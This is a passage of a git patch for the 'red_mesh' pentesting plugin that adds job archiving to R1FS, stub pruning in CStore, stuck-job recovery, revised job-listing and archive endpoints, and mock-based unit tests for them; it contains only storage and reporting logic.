latest aggregated report not found in R1FS", color='r') + return + + # 4. Compute UI aggregate from passes + latest aggregated data + ui_aggregate = self._compute_ui_aggregate(passes, latest_aggregated) + + # 5. Compose archive + date_completed = self.time() + duration = date_completed - job_specs.get("date_created", date_completed) + + archive = JobArchive( + job_id=job_id, + job_config=job_config, + timeline=job_specs.get("timeline", []), + passes=passes, + ui_aggregate=ui_aggregate.to_dict(), + duration=duration, + date_created=job_specs.get("date_created", 0), + date_completed=date_completed, + start_attestation=job_specs.get("redmesh_job_start_attestation"), + ) + + # 6. Write archive to R1FS + job_cid = self.r1fs.add_json(archive.to_dict(), show_logs=False) + if not job_cid: + self.P(f"Archive write to R1FS failed for {job_id}", color='r') + return + + # 7. Verify CID is retrievable + if self.r1fs.get_json(job_cid) is None: + self.P(f"Archive CID {job_cid} not retrievable after write for {job_id}", color='r') + return + + # 8. Prune CStore to stub (commit point) + stub = CStoreJobFinalized( + job_id=job_id, + job_status=job_specs.get("job_status", "FINALIZED"), + target=job_specs.get("target", ""), + task_name=job_specs.get("task_name", ""), + risk_score=job_specs.get("risk_score", 0), + run_mode=job_specs.get("run_mode", "SINGLEPASS"), + duration=duration, + pass_count=len(passes), + launcher=job_specs.get("launcher", ""), + launcher_alias=job_specs.get("launcher_alias", ""), + worker_count=len(job_specs.get("workers", {})), + start_port=job_specs.get("start_port", 0), + end_port=job_specs.get("end_port", 0), + date_created=job_specs.get("date_created", 0), + date_completed=date_completed, + job_cid=job_cid, + job_config_cid=job_specs.get("job_config_cid", ""), + ) + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=stub.to_dict()) + self.P(f"Job {job_id} archived. CID={job_cid}, CStore pruned to stub.") + + # 9. Clean up individual pass report CIDs (best-effort, after commit) + for ref in job_specs.get("pass_reports", []): + cid = ref.get("report_cid") + if cid: + try: + self.r1fs.delete_file(cid, show_logs=False, raise_on_error=False) + except Exception as e: + self.P(f"Failed to clean up pass report CID {cid}: {e}", color='y') + def _maybe_finalize_pass(self): """ Launcher finalizes completed passes and orchestrates continuous monitoring. @@ -1637,30 +1836,25 @@ def _maybe_finalize_pass(self): # 10. UPDATE CStore with lightweight PassReportRef pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) - # Handle SINGLEPASS - set FINALIZED and exit (no scheduling) + # Handle SINGLEPASS - set FINALIZED, build archive, prune CStore if run_mode == "SINGLEPASS": job_specs["job_status"] = "FINALIZED" - created_at = self._get_timeline_date(job_specs, "created") or self.time() - job_specs["duration"] = round(self.time() - created_at, 2) self._emit_timeline_event(job_specs, "scan_completed", "Scan completed") self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") self._emit_timeline_event(job_specs, "finalized", "Job finalized") - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + self._build_job_archive(job_key, job_specs) continue # CONTINUOUS_MONITORING logic below - # Check if soft stop was scheduled + # Check if soft stop was scheduled — build archive and prune CStore if job_status == "SCHEDULED_FOR_STOP": job_specs["job_status"] = "STOPPED" - created_at = self._get_timeline_date(job_specs, "created") or self.time() - job_specs["duration"] = round(self.time() - created_at, 2) self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") self._emit_timeline_event(job_specs, "stopped", "Job stopped") - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + self._build_job_archive(job_key, job_specs) continue - # end if # Schedule next pass interval = job_config.get("monitor_interval", self.cfg_monitor_interval) @@ -2325,19 +2519,42 @@ def purge_job(self, job_id: str): _, job_specs = self._normalize_job_record(job_id, raw) - # Reject if job is still running + # Reject if job is still running (finalized stubs have no workers dict) + job_status = job_specs.get("job_status", "") workers = job_specs.get("workers", {}) - if any(not w.get("finished") for w in workers.values()): + if workers and any(not w.get("finished") for w in workers.values()): + return {"status": "error", "message": "Cannot purge a running job. Stop it first."} + if job_status not in ("FINALIZED", "STOPPED") and workers: return {"status": "error", "message": "Cannot purge a running job. Stop it first."} # Collect all CIDs (deduplicated) cids = set() + + # Archive CID (finalized jobs) + job_cid = job_specs.get("job_cid") + if job_cid: + cids.add(job_cid) + # Fetch archive to find nested CIDs + try: + archive = self.r1fs.get_json(job_cid) + if isinstance(archive, dict): + for pass_data in archive.get("passes", []): + agg_cid = pass_data.get("aggregated_report_cid") + if agg_cid: + cids.add(agg_cid) + for wr in (pass_data.get("worker_reports") or {}).values(): + if isinstance(wr, dict) and wr.get("report_cid"): + cids.add(wr["report_cid"]) + except Exception: + pass # best-effort + + # Worker report CIDs (running jobs only — finalized stubs have no workers) for addr, w in workers.items(): cid = w.get("report_cid") if cid: cids.add(cid) - # Collect CIDs from pass reports (PassReportRef entries) + # Collect CIDs from pass reports (PassReportRef entries — running jobs only) for ref in job_specs.get("pass_reports", []): report_cid = ref.get("report_cid") if report_cid: diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index c15562d8..7261709a 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -3028,6 +3028,477 @@ def test_cstore_risk_score_updated(self): self.assertEqual(ref["pass_nr"], 1) +class TestPhase4UiAggregate(unittest.TestCase): + """Phase 4: UI Aggregate Computation.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _make_plugin(self): + plugin = MagicMock() + Plugin = self._get_plugin_class() + plugin._count_services = lambda si: Plugin._count_services(plugin, si) + plugin._compute_ui_aggregate = lambda passes, agg: Plugin._compute_ui_aggregate(plugin, passes, agg) + plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER + plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER + return plugin, Plugin + + def _make_finding(self, severity="HIGH", confidence="firm", finding_id="abc123", title="Test"): + return {"finding_id": finding_id, "severity": severity, "confidence": confidence, "title": title} + + def _make_pass(self, pass_nr=1, findings=None, risk_score=0, worker_reports=None): + return { + "pass_nr": pass_nr, + "risk_score": risk_score, + "risk_breakdown": {"findings_score": 10}, + "quick_summary": "Summary text", + "findings": findings, + "worker_reports": worker_reports or { + "w1": {"start_port": 1, "end_port": 512, "open_ports": [80]}, + }, + } + + def _make_aggregated(self, open_ports=None, service_info=None): + return { + "open_ports": open_ports or [80, 443], + "service_info": service_info or { + "80": {"_service_info_http": {"findings": []}}, + "443": {"_service_info_https": {"findings": []}}, + }, + } + + def test_findings_count_uppercase_keys(self): + """findings_count keys are UPPERCASE.""" + plugin, _ = self._make_plugin() + findings = [ + self._make_finding(severity="CRITICAL", finding_id="f1"), + self._make_finding(severity="HIGH", finding_id="f2"), + self._make_finding(severity="HIGH", finding_id="f3"), + self._make_finding(severity="MEDIUM", finding_id="f4"), + ] + p = self._make_pass(findings=findings) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + fc = result.to_dict()["findings_count"] + self.assertEqual(fc["CRITICAL"], 1) + self.assertEqual(fc["HIGH"], 2) + self.assertEqual(fc["MEDIUM"], 1) + for key in fc: + self.assertEqual(key, key.upper()) + + def test_top_findings_max_10(self): + """More than 10 CRITICAL+HIGH -> capped at 10.""" + plugin, _ = self._make_plugin() + findings = [self._make_finding(severity="CRITICAL", finding_id=f"f{i}") for i in range(15)] + p = self._make_pass(findings=findings) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + self.assertEqual(len(result.to_dict()["top_findings"]), 10) + + def test_top_findings_sorted(self): + """CRITICAL before HIGH, within same severity sorted by confidence.""" + plugin, _ = self._make_plugin() + findings = [ + self._make_finding(severity="HIGH", confidence="certain", finding_id="f1", title="H-certain"), + self._make_finding(severity="CRITICAL", confidence="tentative", finding_id="f2", title="C-tentative"), + self._make_finding(severity="HIGH", confidence="tentative", finding_id="f3", title="H-tentative"), + self._make_finding(severity="CRITICAL", confidence="certain", finding_id="f4", title="C-certain"), + ] + p = self._make_pass(findings=findings) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + top = result.to_dict()["top_findings"] + self.assertEqual(top[0]["title"], "C-certain") + self.assertEqual(top[1]["title"], "C-tentative") + self.assertEqual(top[2]["title"], "H-certain") + self.assertEqual(top[3]["title"], "H-tentative") + + def test_top_findings_excludes_medium(self): + """MEDIUM/LOW/INFO findings never in top_findings.""" + plugin, _ = self._make_plugin() + findings = [ + self._make_finding(severity="MEDIUM", finding_id="f1"), + self._make_finding(severity="LOW", finding_id="f2"), + self._make_finding(severity="INFO", finding_id="f3"), + ] + p = self._make_pass(findings=findings) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + d = result.to_dict() + self.assertNotIn("top_findings", d) # stripped by _strip_none (None) + + def test_finding_timeline_single_pass(self): + """1 pass -> finding_timeline is None (stripped).""" + plugin, _ = self._make_plugin() + p = self._make_pass(findings=[]) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + d = result.to_dict() + self.assertNotIn("finding_timeline", d) # None → stripped + + def test_finding_timeline_multi_pass(self): + """3 passes with overlapping findings -> correct first_seen, last_seen, pass_count.""" + plugin, _ = self._make_plugin() + f_persistent = self._make_finding(finding_id="persist1") + f_transient = self._make_finding(finding_id="transient1") + f_new = self._make_finding(finding_id="new1") + passes = [ + self._make_pass(pass_nr=1, findings=[f_persistent, f_transient]), + self._make_pass(pass_nr=2, findings=[f_persistent]), + self._make_pass(pass_nr=3, findings=[f_persistent, f_new]), + ] + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate(passes, agg) + ft = result.to_dict()["finding_timeline"] + self.assertEqual(ft["persist1"]["first_seen"], 1) + self.assertEqual(ft["persist1"]["last_seen"], 3) + self.assertEqual(ft["persist1"]["pass_count"], 3) + self.assertEqual(ft["transient1"]["first_seen"], 1) + self.assertEqual(ft["transient1"]["last_seen"], 1) + self.assertEqual(ft["transient1"]["pass_count"], 1) + self.assertEqual(ft["new1"]["first_seen"], 3) + self.assertEqual(ft["new1"]["last_seen"], 3) + self.assertEqual(ft["new1"]["pass_count"], 1) + + def test_zero_findings(self): + """findings_count is {}, top_findings is [], total_findings is 0.""" + plugin, _ = self._make_plugin() + p = self._make_pass(findings=[]) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + d = result.to_dict() + self.assertEqual(d["total_findings"], 0) + # findings_count and top_findings are None (stripped) when empty + self.assertNotIn("findings_count", d) + self.assertNotIn("top_findings", d) + + def test_open_ports_sorted_unique(self): + """total_open_ports is deduped and sorted.""" + plugin, _ = self._make_plugin() + p = self._make_pass(findings=[]) + agg = self._make_aggregated(open_ports=[443, 80, 443, 22, 80]) + result = plugin._compute_ui_aggregate([p], agg) + self.assertEqual(result.to_dict()["total_open_ports"], [22, 80, 443]) + + def test_count_services(self): + """_count_services counts unique probe names across ports.""" + plugin, _ = self._make_plugin() + service_info = { + "80": {"_service_info_http": {}, "_web_test_xss": {}}, + "443": {"_service_info_https": {}, "_service_info_http": {}}, + } + self.assertEqual(plugin._count_services(service_info), 3) + self.assertEqual(plugin._count_services({}), 0) + self.assertEqual(plugin._count_services(None), 0) + + +class TestPhase3Archive(unittest.TestCase): + """Phase 3: Job Close & Archive.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _build_archive_plugin(self, job_id="test-job", pass_count=1, run_mode="SINGLEPASS", + job_status="FINALIZED", r1fs_write_fail=False, r1fs_verify_fail=False): + """Build a mock plugin pre-configured for _build_job_archive testing.""" + plugin = MagicMock() + plugin.ee_addr = "launcher-node" + plugin.ee_id = "launcher-alias" + plugin.cfg_instance_id = "test-instance" + plugin.time.return_value = 1000200.0 + plugin.json_dumps.return_value = "{}" + + # R1FS mock + plugin.r1fs = MagicMock() + + # Build pass report dicts and refs + pass_reports_data = [] + pass_report_refs = [] + for i in range(1, pass_count + 1): + pr = { + "pass_nr": i, + "date_started": 1000000.0 + (i - 1) * 100, + "date_completed": 1000000.0 + i * 100, + "duration": 100.0, + "aggregated_report_cid": f"QmAgg{i}", + "worker_reports": { + "worker-A": {"report_cid": f"QmWorker{i}A", "start_port": 1, "end_port": 512, "ports_scanned": 512, "open_ports": [80], "nr_findings": 2}, + }, + "risk_score": 25 + i, + "risk_breakdown": {"findings_score": 10}, + "findings": [ + {"finding_id": f"f{i}a", "severity": "HIGH", "confidence": "firm", "title": f"Finding {i}A"}, + {"finding_id": f"f{i}b", "severity": "MEDIUM", "confidence": "firm", "title": f"Finding {i}B"}, + ], + "quick_summary": f"Summary for pass {i}", + } + pass_reports_data.append(pr) + pass_report_refs.append({"pass_nr": i, "report_cid": f"QmPassReport{i}", "risk_score": 25 + i}) + + # Job config + job_config = { + "target": "example.com", "start_port": 1, "end_port": 1024, + "run_mode": run_mode, "enabled_features": [], + } + + # Latest aggregated data + latest_aggregated = { + "open_ports": [80, 443], "service_info": {"80": {"_service_info_http": {}}}, + "web_tests_info": {}, "completed_tests": ["port_scan"], "ports_scanned": 1024, + } + + # R1FS get_json: return the right data for each CID + cid_map = {"QmConfigCID": job_config} + for i, pr in enumerate(pass_reports_data): + cid_map[f"QmPassReport{i+1}"] = pr + cid_map[f"QmAgg{i+1}"] = latest_aggregated + + if r1fs_write_fail: + plugin.r1fs.add_json.return_value = None + else: + archive_cid = "QmArchiveCID" + plugin.r1fs.add_json.return_value = archive_cid + if r1fs_verify_fail: + # add_json succeeds but get_json for the archive CID returns None + orig_map = dict(cid_map) + def verify_fail_get(cid): + if cid == archive_cid: + return None + return orig_map.get(cid) + plugin.r1fs.get_json.side_effect = verify_fail_get + else: + # Verification succeeds — archive CID also returns data + cid_map[archive_cid] = {"job_id": job_id} # minimal archive for verification + plugin.r1fs.get_json.side_effect = lambda cid: cid_map.get(cid) + + if not r1fs_write_fail and not r1fs_verify_fail: + plugin.r1fs.get_json.side_effect = lambda cid: cid_map.get(cid) + + # Job specs (running state) + job_specs = { + "job_id": job_id, + "job_status": job_status, + "job_pass": pass_count, + "run_mode": run_mode, + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "target": "example.com", + "task_name": "Test", + "start_port": 1, + "end_port": 1024, + "date_created": 1000000.0, + "risk_score": 25 + pass_count, + "job_config_cid": "QmConfigCID", + "workers": { + "worker-A": {"start_port": 1, "end_port": 512, "finished": True, "report_cid": "QmReportA"}, + }, + "timeline": [ + {"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher-alias", "actor_type": "system", "meta": {}}, + ], + "pass_reports": pass_report_refs, + } + + plugin.chainstore_hset = MagicMock() + + # Bind real methods for archive building + Plugin = self._get_plugin_class() + plugin._compute_ui_aggregate = lambda passes, agg: Plugin._compute_ui_aggregate(plugin, passes, agg) + plugin._count_services = lambda si: Plugin._count_services(plugin, si) + plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER + plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER + + return plugin, job_specs, pass_reports_data, job_config + + def test_archive_written_to_r1fs(self): + """Archive stored in R1FS with job_id, job_config, passes, ui_aggregate.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, job_config = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + # r1fs.add_json called with archive dict + self.assertTrue(plugin.r1fs.add_json.called) + archive_dict = plugin.r1fs.add_json.call_args[0][0] + self.assertEqual(archive_dict["job_id"], "test-job") + self.assertEqual(archive_dict["job_config"]["target"], "example.com") + self.assertEqual(len(archive_dict["passes"]), 1) + self.assertIn("ui_aggregate", archive_dict) + self.assertIn("total_open_ports", archive_dict["ui_aggregate"]) + + def test_archive_duration_computed(self): + """duration == date_completed - date_created, not 0.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + archive_dict = plugin.r1fs.add_json.call_args[0][0] + # date_created=1000000, time()=1000200 → duration=200 + self.assertEqual(archive_dict["duration"], 200.0) + self.assertGreater(archive_dict["duration"], 0) + + def test_stub_has_job_cid_and_config_cid(self): + """After prune, CStore stub has job_cid and job_config_cid.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + # Extract the stub written to CStore + hset_call = plugin.chainstore_hset.call_args + stub = hset_call[1]["value"] + self.assertEqual(stub["job_cid"], "QmArchiveCID") + self.assertEqual(stub["job_config_cid"], "QmConfigCID") + + def test_stub_fields_match_model(self): + """Stub has exactly CStoreJobFinalized fields.""" + from extensions.business.cybersec.red_mesh.models import CStoreJobFinalized + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + stub = plugin.chainstore_hset.call_args[1]["value"] + # Verify it can be loaded into CStoreJobFinalized + finalized = CStoreJobFinalized.from_dict(stub) + self.assertEqual(finalized.job_id, "test-job") + self.assertEqual(finalized.job_status, "FINALIZED") + self.assertEqual(finalized.target, "example.com") + self.assertEqual(finalized.pass_count, 1) + self.assertEqual(finalized.worker_count, 1) + self.assertEqual(finalized.start_port, 1) + self.assertEqual(finalized.end_port, 1024) + self.assertGreater(finalized.duration, 0) + + def test_pass_report_cids_cleaned_up(self): + """After archive, individual pass CIDs deleted from R1FS.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + # Check delete_file was called for pass report CID + delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] + self.assertIn("QmPassReport1", delete_calls) + + def test_node_report_cids_preserved(self): + """Worker report CIDs NOT deleted.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] + self.assertNotIn("QmWorker1A", delete_calls) + + def test_aggregated_report_cids_preserved(self): + """aggregated_report_cid per pass NOT deleted.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] + self.assertNotIn("QmAgg1", delete_calls) + + def test_archive_write_failure_no_prune(self): + """R1FS write fails -> CStore untouched, full running state retained.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin(r1fs_write_fail=True) + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + # CStore should NOT have been pruned + plugin.chainstore_hset.assert_not_called() + # pass_reports still present in job_specs + self.assertEqual(len(job_specs["pass_reports"]), 1) + + def test_archive_verify_failure_no_prune(self): + """CID not retrievable -> CStore untouched.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin(r1fs_verify_fail=True) + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + plugin.chainstore_hset.assert_not_called() + + def test_stuck_recovery(self): + """FINALIZED without job_cid -> _build_job_archive retried via _maybe_finalize_pass.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin(job_status="FINALIZED") + # Simulate stuck state: FINALIZED but no job_cid + job_specs["job_status"] = "FINALIZED" + # No job_cid in specs + + plugin.chainstore_hgetall.return_value = {"test-job": job_specs} + plugin._normalize_job_record = MagicMock(return_value=("test-job", job_specs)) + plugin._build_job_archive = MagicMock() + + Plugin._maybe_finalize_pass(plugin) + + plugin._build_job_archive.assert_called_once_with("test-job", job_specs) + + def test_idempotent_rebuild(self): + """Calling _build_job_archive twice doesn't corrupt state.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + first_stub = plugin.chainstore_hset.call_args[1]["value"] + + # Reset and call again (simulating a retry where data is still available) + plugin.chainstore_hset.reset_mock() + plugin.r1fs.add_json.reset_mock() + new_archive_cid = "QmArchiveCID2" + plugin.r1fs.add_json.return_value = new_archive_cid + + # Update get_json to also return data for the new archive CID + orig_side_effect = plugin.r1fs.get_json.side_effect + def extended_get(cid): + if cid == new_archive_cid: + return {"job_id": "test-job"} + return orig_side_effect(cid) + plugin.r1fs.get_json.side_effect = extended_get + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + second_stub = plugin.chainstore_hset.call_args[1]["value"] + # Both produce valid stubs + self.assertEqual(first_stub["job_id"], second_stub["job_id"]) + self.assertEqual(first_stub["pass_count"], second_stub["pass_count"]) + + def test_multipass_archive(self): + """Archive with 3 passes contains all pass data.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin(pass_count=3, run_mode="CONTINUOUS_MONITORING", job_status="STOPPED") + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + archive_dict = plugin.r1fs.add_json.call_args[0][0] + self.assertEqual(len(archive_dict["passes"]), 3) + self.assertEqual(archive_dict["passes"][0]["pass_nr"], 1) + self.assertEqual(archive_dict["passes"][2]["pass_nr"], 3) + stub = plugin.chainstore_hset.call_args[1]["value"] + self.assertEqual(stub["pass_count"], 3) + self.assertEqual(stub["job_status"], "STOPPED") + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -3043,4 +3514,6 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestScannerEnhancements)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase1ConfigCID)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase2PassFinalization)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase4UiAggregate)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase3Archive)) runner.run(suite) From baf3559e6cb6ea98855f00167b29097a3ee8d244 Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 21:43:39 +0000 Subject: [PATCH 12/42] feat: fix backend endpoints to work with new cstore structure (phase 5) --- .../cybersec/red_mesh/pentester_api_01.py | 97 +++++++-- .../cybersec/red_mesh/test_redmesh.py | 198 ++++++++++++++++++ 2 files changed, 282 insertions(+), 13 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 05607ebc..84234049 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1700,6 +1700,10 @@ def _maybe_finalize_pass(self): # Skip jobs that are already finalized or stopped if job_status in ("FINALIZED", "STOPPED"): + # Stuck recovery: if no job_cid, the archive build failed previously — retry + if not job_specs.get("job_cid"): + self.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') + self._build_job_archive(job_id, job_specs) continue if all_finished and next_pass_at is None: @@ -2384,15 +2388,13 @@ def get_job_status(self, job_id: str): @BasePlugin.endpoint def get_job_data(self, job_id: str): """ - Retrieve the complete job data from CStore. + Retrieve job data from CStore. - Unlike `get_job_status` which returns local worker progress, - this endpoint returns the full job specification including: - - All network workers and their completion status - - Job lifecycle state (RUNNING/SCHEDULED_FOR_STOP/STOPPED/FINALIZED) - - Launcher info and timestamps - - Distribution strategy and configuration - - Pass history for continuous monitoring jobs + For finalized/stopped jobs (stubs): returns the lightweight stub as-is. + The frontend uses job_cid to fetch the full archive via get_job_archive(). + + For running jobs: returns CStore state with pass_reports trimmed to + the last 5 entries (frontend fetches those CIDs individually). Parameters ---------- @@ -2402,27 +2404,85 @@ def get_job_data(self, job_id: str): Returns ------- dict - Complete job data or error if not found. + Job data or error if not found. """ job_specs = self._get_job_from_cstore(job_id) - if job_specs: + if not job_specs: + return { + "job_id": job_id, + "found": False, + "message": "Job not found in network store.", + } + + # Finalized stubs have job_cid — return as-is + if job_specs.get("job_cid"): return { "job_id": job_id, "found": True, "job": job_specs, } + + # Running jobs — trim pass_reports to last 5 + pass_reports = job_specs.get("pass_reports", []) + if isinstance(pass_reports, list) and len(pass_reports) > 5: + job_specs["pass_reports"] = pass_reports[-5:] + return { "job_id": job_id, - "found": False, - "message": "Job not found in network store.", + "found": True, + "job": job_specs, } + @BasePlugin.endpoint + def get_job_archive(self, job_id: str): + """ + Retrieve the full job archive from R1FS. + + For finalized/stopped jobs only. Returns the complete archive including + job config, all passes, timeline, and ui_aggregate in a single response. + + Parameters + ---------- + job_id : str + Identifier of the job. + + Returns + ------- + dict + Full archive or error. + """ + job_specs = self._get_job_from_cstore(job_id) + if not job_specs: + return {"error": "not_found", "message": f"Job {job_id} not found."} + + job_cid = job_specs.get("job_cid") + if not job_cid: + return {"error": "not_available", "message": f"Job {job_id} is still running (no archive yet)."} + + archive = self.r1fs.get_json(job_cid) + if archive is None: + return {"error": "fetch_failed", "message": f"Failed to fetch archive from R1FS (CID: {job_cid})."} + + # Integrity check: verify job_id matches + if archive.get("job_id") != job_id: + self.P( + f"[INTEGRITY] Archive CID {job_cid} has job_id={archive.get('job_id')}, expected {job_id}", + color='r' + ) + return {"error": "integrity_mismatch", "message": "Archive job_id does not match requested job_id."} + + return {"job_id": job_id, "archive": archive} + @BasePlugin.endpoint def list_network_jobs(self): """ List all network jobs stored in CStore. + Finalized stubs are returned as-is (already lightweight). + Running jobs are stripped of timeline, workers detail, and pass_reports + to keep the listing payload small. + Returns ------- dict @@ -2433,9 +2493,20 @@ def list_network_jobs(self): for job_key, job_spec in raw_network_jobs.items(): normalized_key, normalized_spec = self._normalize_job_record(job_key, job_spec) if normalized_key and normalized_spec: - # Replace heavy pass_reports with a lightweight count for listing + # Finalized stubs (have job_cid) — return as-is + if normalized_spec.get("job_cid"): + normalized_jobs[normalized_key] = normalized_spec + continue + + # Running jobs — strip heavy fields, keep counts pass_reports = normalized_spec.pop("pass_reports", None) normalized_spec["pass_count"] = len(pass_reports) if isinstance(pass_reports, list) else 0 + + workers = normalized_spec.pop("workers", None) + normalized_spec["worker_count"] = len(workers) if isinstance(workers, dict) else 0 + + normalized_spec.pop("timeline", None) + normalized_jobs[normalized_key] = normalized_spec return normalized_jobs diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 7261709a..e8c738a4 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -3499,6 +3499,203 @@ def test_multipass_archive(self): self.assertEqual(stub["job_status"], "STOPPED") +class TestPhase5Endpoints(unittest.TestCase): + """Phase 5: API Endpoints.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _build_finalized_stub(self, job_id="test-job"): + """Build a CStoreJobFinalized-shaped dict.""" + return { + "job_id": job_id, + "job_status": "FINALIZED", + "target": "example.com", + "task_name": "Test", + "risk_score": 42, + "run_mode": "SINGLEPASS", + "duration": 200.0, + "pass_count": 1, + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "worker_count": 2, + "start_port": 1, + "end_port": 1024, + "date_created": 1000000.0, + "date_completed": 1000200.0, + "job_cid": "QmArchiveCID", + "job_config_cid": "QmConfigCID", + } + + def _build_running_job(self, job_id="run-job", pass_count=8): + """Build a running job dict with N pass_reports.""" + pass_reports = [ + {"pass_nr": i, "report_cid": f"QmPass{i}", "risk_score": 10 + i} + for i in range(1, pass_count + 1) + ] + return { + "job_id": job_id, + "job_status": "RUNNING", + "job_pass": pass_count, + "run_mode": "CONTINUOUS_MONITORING", + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "target": "example.com", + "task_name": "Continuous Test", + "start_port": 1, + "end_port": 1024, + "date_created": 1000000.0, + "risk_score": 18, + "job_config_cid": "QmConfigCID", + "workers": { + "worker-A": {"start_port": 1, "end_port": 512, "finished": False}, + "worker-B": {"start_port": 513, "end_port": 1024, "finished": False}, + }, + "timeline": [ + {"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher", "actor_type": "system", "meta": {}}, + {"type": "started", "label": "Started", "date": 1000001.0, "actor": "launcher", "actor_type": "system", "meta": {}}, + ], + "pass_reports": pass_reports, + } + + def _build_plugin(self, jobs_dict): + """Build a mock plugin with given jobs in CStore.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.ee_addr = "launcher-node" + plugin.ee_id = "launcher-alias" + plugin.cfg_instance_id = "test-instance" + plugin.r1fs = MagicMock() + + plugin.chainstore_hgetall.return_value = dict(jobs_dict) + plugin.chainstore_hget.side_effect = lambda hkey, key: jobs_dict.get(key) + plugin._normalize_job_record = MagicMock( + side_effect=lambda k, v: (k, v) if isinstance(v, dict) and v.get("job_id") else (None, None) + ) + + # Bind real methods so endpoint logic executes properly + plugin._get_all_network_jobs = lambda: Plugin._get_all_network_jobs(plugin) + plugin._get_job_from_cstore = lambda job_id: 